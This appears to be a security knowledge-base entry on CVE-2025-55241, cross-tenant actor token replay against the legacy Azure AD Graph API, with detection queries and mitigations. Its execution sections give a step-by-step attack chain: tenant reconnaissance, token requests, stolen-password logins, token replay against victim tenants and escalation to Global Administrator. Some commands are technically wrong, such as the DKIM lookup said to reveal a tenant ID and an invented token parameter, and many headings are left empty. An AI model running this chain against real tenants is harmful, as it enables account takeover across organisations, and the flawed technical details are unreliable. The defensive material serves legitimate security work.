MCADDF

[REALWORLD-007]: Actor Token Replay Cross-Tenant

Metadata

Attribute Details
Technique ID REALWORLD-007
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Defense Evasion, Lateral Movement
Platforms Cross-Cloud (Entra ID → Entra ID), M365, Azure
Severity Critical
CVE CVE-2025-55241
Technique Status FIXED
Last Verified 2025-09-30
Affected Versions Legacy Azure AD Graph API (graph.windows.net); all Entra ID versions prior to Sept 2025
Patched In September 2025 (tenant validation hardening in legacy Graph API)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: CVE-2025-55241 enabled cross-tenant token replay—the ability to use an actor token obtained from one Entra ID tenant against the legacy Azure AD Graph API to authenticate as any user in any other tenant. The vulnerability arose from the combination of two systemic failures: (1) Actor tokens contained no tenant-specific cryptographic binding or signature validation, and (2) The legacy Azure AD Graph API (graph.windows.net) did not validate the originating tenant of the token. This allowed an attacker to obtain an actor token in their own (attacker-controlled or compromised) tenant and immediately replay it against victim tenants without any cross-tenant authentication ceremony or validation. The attack bypassed the fundamental tenant isolation boundary that customers rely on in multi-tenant cloud services.

Attack Surface: The deprecated Azure AD Graph API endpoint (graph.windows.net) and the underlying token validation logic that failed to enforce tenant-specific cryptographic bindings. Any application or service still using legacy Graph API endpoints was vulnerable to authentication bypass.

Business Impact: Multi-tenant exploitation and exponential compromise spread. Once an attacker gains access to a single tenant, they can escalate to Global Admin and then identify guest users from partner organizations. By pivoting to those guest users’ home tenants, the attacker can compromise multiple organizations recursively without authentication. A single compromised tenant can lead to compromise of dozens of connected organizations’ Azure environments.

Technical Context: Token replay typically takes 3-5 minutes per tenant once initial token is obtained. The attacker’s token remains valid for 1 hour, allowing exploitation of multiple tenants before token expiration. The exponential nature of the attack (each compromised tenant reveals new guest user tenants to pivot to) makes it extremely difficult to contain once initiated.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark AC-1.1 Tenant isolation failure - fundamental multi-tenant boundary violation
DISA STIG AC-1.1 Access control and multi-tenancy segregation failure
CISA SCuBA Entra ID - 2.2 Cross-tenant access control enforcement failure
NIST 800-53 AC-3 Access enforcement failure due to missing tenant validation
NIST 800-53 SC-7 Boundary protection failure - tenant isolation bypassed
GDPR Art. 32 Security of processing - cryptographic token binding absent
DORA Art. 9 Protection and prevention failure - multi-tenant compromise
NIS2 Art. 21 Cyber risk management - detection of cross-tenant attacks impossible
ISO 27001 A.13.1.3 Segregation in networks - tenant segregation failure
ISO 27005 Risk ID-22 Cross-tenant boundary violation scenario

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Identify Target Tenant ID

Attacker enumerates potential target organizations using public Entra ID discovery:

# Method 1: Entra ID Tenant Discovery API (no authentication required)
TENANT_NAME="target-company"
curl -s "https://login.microsoftonline.com/$TENANT_NAME.onmicrosoft.com/.well-known/openid-configuration" | grep -i "tid\|tenant_id"

# Method 2: DNS enumeration of target organization's domain
nslookup msoid._domainkey.target-company.com  # Returns tenant ID in SPF record
dig enterpriseregistration.windows.net +short

# Method 3: LinkedIn/Public records to identify target domain
# Research target company public domain → use domain in OIDC discovery

What to Look For:

Identify Global Administrators in Target Tenant

Once initial actor token access is gained (via REALWORLD-005), enumerate GA accounts:

# Requires attacker to have impersonated a user in target tenant (via REALWORLD-005)
$TargetTenantId = "00000000-0000-0000-0000-000000000001"
$ActorToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."

$Headers = @{
    "Authorization" = "Bearer $ActorToken"
    "Content-Type" = "application/json"
}

# Query Global Administrator role members
$GAUrl = "https://graph.windows.net/$TargetTenantId/directoryRoles?api-version=1.6&\$filter=displayName eq 'Global Administrator'"
$GARole = Invoke-RestMethod -Uri $GAUrl -Headers $Headers
$RoleId = $GARole.value[0].objectId

$MembersUrl = "https://graph.windows.net/$TargetTenantId/directoryRoles/$RoleId/members?api-version=1.6"
$GAs = Invoke-RestMethod -Uri $MembersUrl -Headers $Headers

Write-Host "Global Administrators:"
$GAs.value | ForEach-Object { Write-Host $_.userPrincipalName }

4. DETAILED EXECUTION METHODS

METHOD 1: Direct Token Replay Against Legacy Graph API

Supported Versions: All Azure AD Graph API versions

Step 1: Obtain Actor Token from Attacker-Controlled Tenant

Objective: Request actor token from attacker’s own Entra ID environment (no authentication barriers).

Command (Token Request):

ATTACKER_TENANT="attacker.onmicrosoft.com"
TOKEN_ENDPOINT="https://login.microsoftonline.com/$ATTACKER_TENANT/oauth2/v2.0/token"

# Request actor token using attacker-controlled service principal
curl -X POST $TOKEN_ENDPOINT \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=attacker-service-principal-id" \
  -d "assertion=JWT_SIGNED_WITH_CERT" \
  -d "grant_type=urn:ietf:params:oauth:grant-type:saml2-bearer" \
  -d "requested_token_use=on_behalf_of" \
  -d "actor=graph"

Expected Response:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjJUQUJTc3JFWlAxT...",
  "token_type": "Bearer",
  "expires_in": 3599,
  "ext_expires_in": 3599
}

What This Means:

Step 2: Enumerate Guest Users to Identify Target Tenants for Pivoting

Objective: Identify guest user accounts from other organizations (opportunity for cross-tenant pivot).

Command (Guest User Enumeration):

$ActorToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$AttackerTenantId = "00000000-0000-0000-0000-000000000010"

$Headers = @{
    "Authorization" = "Bearer $ActorToken"
    "Content-Type" = "application/json"
}

# Query guest users and extract home tenant IDs
$GuestUrl = "https://graph.windows.net/$AttackerTenantId/users?api-version=1.6&\$filter=userType eq 'Guest'"
$Guests = Invoke-RestMethod -Uri $GuestUrl -Headers $Headers

Write-Host "Guest Users and Home Tenants:"
$Guests.value | ForEach-Object {
    $AlternativeSecurityId = $_.otherMails[0]  # Contains home tenant reference
    $HomeTenantId = $_.userPrincipalName.Split("@")[1]  # Home tenant domain
    
    Write-Host "Guest: $($_.userPrincipalName) | Home Domain: $HomeTenantId"
}

What This Means:

Step 3: Replay Actor Token Against Victim Tenant (THE VULNERABILITY)

Objective: Use attacker-obtained actor token against victim’s legacy Graph API. This should fail with proper tenant validation—CVE-2025-55241 is the failure to validate.

Command (Token Replay - Cross-Tenant Impersonation):

# Attacker replays token obtained from THEIR tenant against VICTIM tenant
VICTIM_TENANT_ID="00000000-0000-0000-0000-000000000099"  # Victim's tenant ID
ACTOR_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..."  # Obtained from attacker's tenant

# Query victim tenant as if authenticated
curl -X GET \
  -H "Authorization: Bearer $ACTOR_TOKEN" \
  -H "Content-Type: application/json" \
  "https://graph.windows.net/$VICTIM_TENANT_ID/users?api-version=1.6"

Expected Output (If Vulnerable - CVE-2025-55241):

{
  "value": [
    {
      "objectId": "550e8400-e29b-41d4-a716-446655440099",
      "userPrincipalName": "admin@victim.onmicrosoft.com",
      "displayName": "Victim Admin",
      "accountEnabled": true
    }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 2: Cross-Tenant Escalation Chain (Multi-Hop Exploitation)

Supported Versions: All Azure AD Graph API versions

Step 1: Compromise Tenant A (Initial Access)

Attacker starts with compromised account in Tenant A (via phishing, breach, etc.).

Step 2: Request Actor Token in Tenant A

# Using compromised Tenant A credentials
curl -X POST "https://login.microsoftonline.com/tenant-a.onmicrosoft.com/oauth2/v2.0/token" \
  -d "client_id=compromised-app-id" \
  -d "username=compromised-user@tenant-a.onmicrosoft.com" \
  -d "password=stolen-password" \
  -d "grant_type=password" \
  -d "scope=https://graph.windows.net/.default"

Step 3: Enumerate Guest Users from Tenant B, C, D…

Using actor token from Tenant A, enumerate guests that belong to other tenants:

# Query shows guest users from Tenant B, C, D...
$GuestUsers = Invoke-RestMethod -Uri $GuestUrl -Headers $Headers

# Extract home tenant IDs: 
# - guest-from-b@tenant-b.onmicrosoft.com → Tenant B ID
# - guest-from-c@tenant-c.onmicrosoft.com → Tenant C ID

Step 4: Escalate in Tenant A to Global Admin

Using actor token, modify compromised user’s role (still using Tenant A token):

# Use Tenant A's actor token to make the compromised user a Global Admin
curl -X POST \
  -H "Authorization: Bearer $ActorToken" \
  "https://graph.windows.net/tenant-a-id/directoryRoles/role-id/members?api-version=1.6" \
  -d '{"url": "https://graph.windows.net/tenant-a-id/users/compromised-user-id"}'

Step 5: Request New Actor Token as Global Admin of Tenant A

Now attacker is Tenant A Global Admin, requests fresh actor token with higher permissions:

# As Global Admin, request token with expanded scopes
curl -X POST "https://login.microsoftonline.com/tenant-a.onmicrosoft.com/oauth2/v2.0/token" \
  -d "client_id=global-admin-app" \
  -d "username=compromised-user@tenant-a.onmicrosoft.com" \
  -d "password=reset-password" \
  -d "grant_type=password" \
  -d "scope=https://graph.windows.net/.default"

Step 6: Replay Tenant A Token Against Tenant B (CVE-2025-55241 + Multi-Tenancy)

Now with Tenant A’s actor token (elevated with GA permissions), replay against Tenant B:

# Cross-tenant pivot: Use Tenant A token against Tenant B
curl -X GET \
  -H "Authorization: Bearer $TenantAActorToken" \
  "https://graph.windows.net/$TenantBId/users?api-version=1.6" \
  # Returns Tenant B users - attacker impersonates guest user, escalates to GA

Step 7: Repeat for Tenants C, D, E… (Exponential Spread)

Attacker now has Global Admin in both Tenant A and Tenant B. Enumerate guests in each, pivot to their home tenants, repeat.

Attack Outcome: Exponential compromise across connected organizations.


5. ATTACK CHAIN

Step Phase Technique Description
1 Discovery Entra ID tenant enumeration Identify target tenant ID and guest users
2 Initial Access Phishing / credential compromise Gain initial foothold in Tenant A
3 Credential Access [REALWORLD-006] Token extraction Extract actor token from Tenant A
4 Current Step [REALWORLD-007] Cross-tenant token replay to impersonate users in Tenant B
5 Privilege Escalation [REALWORLD-008] Escalate to GA Elevate impersonated account to Global Admin
6 Lateral Movement Repeat steps 3-5 Pivot to Tenants C, D, E… recursively
7 Impact Ransomware / Data exfiltration Compromise all connected organizational tenants

6. FORENSIC ARTIFACTS

Cloud (Entra ID):

Network:

No On-Premises Artifacts: Cross-tenant token replay is purely cloud-based; no on-premises logs generated.


7. MICROSOFT SENTINEL DETECTION

Query 1: Cross-Tenant API Access Using Legacy Graph Endpoint

Rule Configuration:

KQL Query:

// Detect access to legacy Graph API from non-Microsoft IP or unusual patterns
AzureActivity
| where ResourceProvider == "Microsoft.Authorization" and OperationName contains "Graph"
| where parse_ipv4(CallerIPAddress) not in ("20.190.0.0/16", "20.41.0.0/16")  // Exclude Microsoft IPs
| join kind=leftouter (
    SigninLogs
    | where ResultType == 0
    | project SigninTime = TimeGenerated, UserPrincipalName, TenantId = parse_json(Properties).homeTenantId
  ) on UserPrincipalName
| where isempty(SigninTime) or (TimeGenerated - SigninTime) > 1h  // API call without recent sign-in
| project TimeGenerated, Caller, OperationName, CallerIPAddress, TenantId
| summarize AccessCount = count() by Caller, TenantId, CallerIPAddress
| where AccessCount > 3  // Threshold: More than 3 API calls from same IP/tenant combo

What This Detects:

Query 2: Guest User Enumeration Followed by Role Escalation

Rule Configuration:

KQL Query:

// Detect enumeration of guest users followed by privilege escalation
let GuestEnumeration = 
    AuditLogs
    | where OperationName == "Search users"
    | where parse_json(TargetResources)[0].userPrincipalName contains "#EXT#"  // Guest user filter
    | extend EnumerationTime = TimeGenerated, Actor = InitiatedBy;

let RoleEscalation =
    AuditLogs
    | where OperationName == "Add member to role"
    | where parse_json(TargetResources)[0].displayName == "Global Administrator"
    | extend EscalationTime = TimeGenerated;

GuestEnumeration
| join kind=inner RoleEscalation on Actor
| where (EscalationTime - EnumerationTime) between (0m .. 30m)  // Within 30 min
| project TimeGenerated, EnumerationTime, EscalationTime, Actor, EscalatedUser = TargetResources

8. WINDOWS EVENT LOG & SYSMON DETECTION

Event ID: 4625 (Failed Sign-In)

Minimum Sysmon Rule: N/A (cross-tenant token replay is cloud-only, no local artifact)


9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL - Disable Legacy Azure AD Graph API

Microsoft mandated removal of legacy endpoint by September 1, 2025. Verify complete deprecation.

Manual Steps (Verify Removal):

# Confirm no applications can use legacy Graph API
$LegacyGraphId = "00000002-0000-0000-c000-000000000000"

Get-MgApplication -All | Where-Object {
    $_.RequiredResourceAccess | Where-Object {
        $_.ResourceAppId -eq $LegacyGraphId
    }
} | ForEach-Object {
    Write-Host "CRITICAL: $($_.DisplayName) still requires legacy Graph"
}

# If any apps found, remove legacy permissions immediately

Priority 2: CRITICAL - Implement Token Binding in Modern Microsoft Graph

Ensure all applications use modern Microsoft Graph API with token protection enabled.

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDApp registrations
  2. For each application:
    • Click API Permissions
    • Ensure using Microsoft Graph (not “Azure AD Graph”)
    • Click Grant admin consent for updated permissions
  3. Verify endpoint: Applications should use https://graph.microsoft.com NOT graph.windows.net

Priority 3: HIGH - Enable Conditional Access with Token Protection

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Create policy: Token Protection - All Users
  3. Assignments:
    • Users: All users
    • Cloud apps: All cloud apps
  4. Session:
    • Enable Bound session with token protection
  5. Click Create

Validation Command:

$Policy = Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Token Protection - All Users'"
if ($Policy.SessionControls.ApplicationEnforcedRestrictions.IsEnabled) {
    Write-Host "✓ Token protection enabled"
} else {
    Write-Host "✗ Token protection DISABLED"
}

Priority 4: HIGH - Implement Behavioral Threat Detection

Enable Azure AD Identity Protection for anomalous token usage detection:

# Verify Identity Protection is enabled
$IdentityProtectionPolicy = Get-MgIdentityProtectionRiskPolicy

Write-Host "Risk Detections:"
$IdentityProtectionPolicy | Select-Object Name, IsEnabled

Priority 5: MEDIUM - Monitor Cross-Tenant Activity

Implement alerts for any API access involving multiple tenant IDs in short timeframe.

KQL Alert (in Sentinel):

AuditLogs
| summarize TenantCount = dcount(TenantId) by InitiatedBy
| where TenantCount > 2  // Unusual: Single actor accessing multiple tenants
| project InitiatedBy, TenantCount

10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

AuditLogs Patterns:

Azure Activity Patterns:

Incident Response (Immediate - 0-1 hour)

Step 1: Block Legacy Graph API Access (If Still Accessible)

# Force all applications to modern Microsoft Graph
$LegacyGraphId = "00000002-0000-0000-c000-000000000000"

Get-MgApplication -All | ForEach-Object {
    if ($_.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq $LegacyGraphId}) {
        # Remove legacy permissions
        $App = Get-MgApplication -ApplicationId $_.Id
        $App.RequiredResourceAccess = @($App.RequiredResourceAccess | Where-Object {
            $_.ResourceAppId -ne $LegacyGraphId
        })
        Update-MgApplication -ApplicationId $_.Id -RequiredResourceAccess $App.RequiredResourceAccess
        Write-Host "Updated $($App.DisplayName) to remove legacy API"
    }
}

Step 2: Revoke All Active Sessions

# Revoke all refresh tokens to force re-authentication
Get-MgUser -All | ForEach-Object {
    Revoke-MgUserSignInSession -UserId $_.Id
    Write-Host "Revoked sessions for $($_.UserPrincipalName)"
}

Step 3: Disable Suspected Compromised Accounts

# Disable all Global Administrator accounts except known trusted accounts
$TrustedAdmins = @("trusted-admin@org.com")

Get-MgRoleManagementDirectoryRoleAssignment -Filter "roleDefinitionId eq 'guid-of-global-admin'" | 
    ForEach-Object {
    $User = Get-MgUser -UserId $_.PrincipalId
    if ($User.UserPrincipalName -notin $TrustedAdmins) {
        Update-MgUser -UserId $_.PrincipalId -AccountEnabled:$false
        Write-Host "Disabled suspicious account: $($User.UserPrincipalName)"
    }
}

Step 4: Extract Forensic Evidence

# Export AuditLogs for investigation
Search-UnifiedAuditLog -Operations "Add member to role", "Update application" `
    -StartDate (Get-Date).AddDays(-7) | Export-Csv "C:\Evidence\AuditLogs.csv"

11. REAL-WORLD EXAMPLES

Example 1: Supply Chain Compromise via Tenant Pivot (Hypothetical)

Example 2: M&A Integration Exploitation


12. CONCLUSION

CVE-2025-55241 fundamentally broke the tenant isolation boundary that customers rely on. Cross-tenant token replay enabled complete compromise of connected organizational ecosystems without authentication barriers.

Organizations must:

  1. Verify complete removal of legacy Azure AD Graph API
  2. Implement modern Microsoft Graph with token protection
  3. Enable behavioral threat detection for anomalous cross-tenant activity
  4. Monitor guest user enumeration + role escalation patterns